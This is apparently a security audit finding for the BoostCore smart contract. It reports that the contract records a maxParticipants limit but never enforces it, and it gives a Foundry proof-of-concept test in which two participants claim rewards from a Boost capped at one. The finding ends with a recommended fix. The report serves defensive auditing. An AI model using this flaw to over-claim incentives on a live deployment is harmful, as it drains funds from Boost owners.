Genuine Brown Barbel

Medium

# `BoostCore` Fails to Enforce Participant Limit, Leading to Excessive Claims

## Summary
The `BoostCore` contract lacks validation to ensure that the number of participants does not exceed the specified `maxParticipants` limit, allowing more participants who complete the required actions to claim incentives than intended.

## Vulnerability Detail
In the `BoostCore` contract, when creating a Boost, the `maxParticipants` is set to limit the number of participants allowed to participate in the Boost:
```solidity

   function createBoost(bytes calldata data_)
        external
        canCreateBoost(msg.sender)
        nonReentrant
        returns (BoostLib.Boost memory)
   {
        InitPayload memory payload_ = abi.decode(data_.cdDecompress(), (InitPayload));

        // Validate the Budget
        _checkBudget(payload_.budget);

        // Initialize the Boost
        BoostLib.Boost storage boost = _boosts.push();
        boost.owner = payload_.owner;
        boost.budget = payload_.budget;
        boost.protocolFee = protocolFee + payload_.protocolFee;
        boost.referralFee = referralFee + payload_.referralFee;
@>      boost.maxParticipants = payload_.maxParticipants;

      //...
    }
 ```
However, the contract does not enforce this limit. As a result, participants can continue to claim rewards even after the `maxParticipants` threshold has been reached, potentially causing incentive distribution to exceed the intended limit.

## Impact
The absence of a check for the `maxParticipants` limit can lead to budget exhaustion, where incentives are claimed by more participants than intended. This could result in over-distribution of rewards and a loss of funds for the Boost owner.

## POC
Extended from [BoostCore.t.sol](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/d9f597776cc2d20fbb19ffb1f7731126cf3b6210/boost-protocol/packages/evm/test/BoostCore.t.sol#L39)
```solidity
    function testMaxParticipantsExceeds() public {
        bytes memory createCalldata = LibZip.cdCompress(
            abi.encode(
                BoostCore.InitPayload({
                    budget: budget,
                    action: action,
                    validator: BoostLib.Target({isBase: true, instance: address(0), parameters: ""}),
                    allowList: allowList,
                    incentives: _makeIncentives(1),
                    protocolFee: 500, // 5%
                    referralFee: 1000, // 10%
                    maxParticipants: 1, //@audit set maxParticipants to 1 for testing purposes
                    owner: address(1)
                })
            )
        );

        // Create a Boost instance
        boostCore.createBoost(createCalldata);

        // Addresses of Boost participants
        address participant1 = makeAddr("participant1");
        address participant2 = makeAddr("participant2");

        deal(participant1, 3 ether);
        deal(participant2, 3 ether);

        // Mint an ERC721 token to each participant to enable their participation in the Boost.
        mockERC721.mint{value: 2 ether}(participant1);
        mockERC721.mint{value: 2 ether}(participant2);

        // Ensure both participants have a starting ERC20 balance of 0
        assertEq(mockERC20.balanceOf(participant1), 0);
        assertEq(mockERC20.balanceOf(participant2), 0);

        // Prepare the data payload for validation
        bytes memory data1 = abi.encode(participant1, abi.encode(1));
        bytes memory data2 = abi.encode(participant2, abi.encode(2));

        // Claim the incentive for each participant
        vm.prank(participant1);
        boostCore.claimIncentive{value: 2 ether}(0, 0, address(0), data1);
        vm.prank(participant2);
        boostCore.claimIncentive{value: 2 ether}(0, 0, address(0), data2);

        // Verify that both participants received their incentives
        assertEq(mockERC20.balanceOf(participant1), 1000000000000000000);
        assertEq(mockERC20.balanceOf(participant2), 1000000000000000000);

        // Check the total number of claims
        BoostLib.Boost memory boost = boostCore.getBoost(0);
        ERC20Incentive _incentive = ERC20Incentive(address(boost.incentives[0]));
        assertEq(_incentive.claims(), 2);
    }
``` 
As we set `maxParticipants` to 1, yet two participants were able to participate in the boost and claim their incentives, this indicates a potential issue.

Run the following command to execute the POC: `forge test --mt testMaxParticipantsExceeds`

## Code Snippet
https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/d9f597776cc2d20fbb19ffb1f7731126cf3b6210/boost-protocol/packages/evm/contracts/BoostCore.sol#L123

## Tool used
Manual review

## Recommendation
Introduce a validation check during the Boost participation process to ensure that the number of participants does not exceed the `maxParticipants` value.